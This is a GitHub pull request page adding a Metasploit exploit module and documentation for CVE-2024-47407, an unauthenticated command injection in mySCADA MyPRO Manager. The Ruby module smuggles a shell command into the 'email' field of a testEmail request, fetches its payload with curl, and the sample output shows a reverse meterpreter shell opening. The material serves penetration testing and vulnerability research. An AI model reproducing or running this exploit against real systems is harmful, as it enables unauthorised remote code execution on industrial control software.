Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

mySCADA MyPRO Manager Command Injection (CVE-2024-47407) Module #19846

Merged
merged 2 commits into from
Feb 10, 2025
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
61 changes: 61 additions & 0 deletions documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
## Vulnerable Application

**Vulnerability Description**

This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).

An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
`myscada9`, an administrative user that is automatically added by the product during installation.

Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
the security issues. The official changelog from the vendor for the updated version is available
[here](https://www.myscada.org/docs/5-11-2024/).

**Vulnerable Application Installation**

A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved

**Successfully tested on**

- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)

## Verification Steps

1. Install the application
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
3. Start `msfconsole` and run the following commands:

```
msf6 > use exploit/windows/scada/mypro_mgr_cmd
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
```

You should get a meterpreter session in the context of `myscada9`.

## Scenarios

Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
following:

```
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit

[*] Started reverse TCP handler on 192.168.1.227:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (201798 bytes) to 192.168.1.228
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
[*] Exploit finished, check thy shell.

meterpreter > getuid
Server username: asdf\myscada9
meterpreter > sysinfo
Computer : asdf
OS : Windows 11 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
```
110 changes: 110 additions & 0 deletions modules/exploits/windows/scada/mypro_mgr_cmd.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
'Description' => %q{
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
},
'License' => MSF_LICENSE,
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
'References' => [
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
[ 'CVE', '2024-47407']
],
'DisclosureDate' => '2024-11-21',
'DefaultOptions' => {
'RPORT' => 34022,
'SSL' => 'False'
},
'Platform' => 'win',
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
'Type' => :win_fetch
}
]
],
'DefaultTarget' => 0,

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new(
'TARGETURI',
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
)
]
)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do we require the request to be wrapped in a rescue here?

Suggested change
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think I saw this pattern being used in some other modules. Which other way would you prefer?

return CheckCode::Unknown
end

if res.to_s =~ /const v="([^"]+)"/
version = ::Regexp.last_match(1)
vprint_status('Version retrieved: ' + version)
if Rex::Version.new(version) <= Rex::Version.new('1.2')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a lower bound of vulnerable software version?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As far as I am aware, no.

return CheckCode::Appears
end

return CheckCode::Safe
end
return CheckCode::Unknown
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
exec_mypro_mgr(cmd)
print_status('Exploit finished, check thy shell.')
end

def exec_mypro_mgr(cmd)
post_data = {
'command' => 'testEmail',
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
}

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'data' => JSON.generate(post_data),
'uri' => normalize_uri(target_uri.path, 'get')
})

if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
print_good('Command successfully executed, check your shell.')
h4x-x0r marked this conversation as resolved.
Show resolved Hide resolved
else
print_error('Unexpected or no reply received.')
end
end

end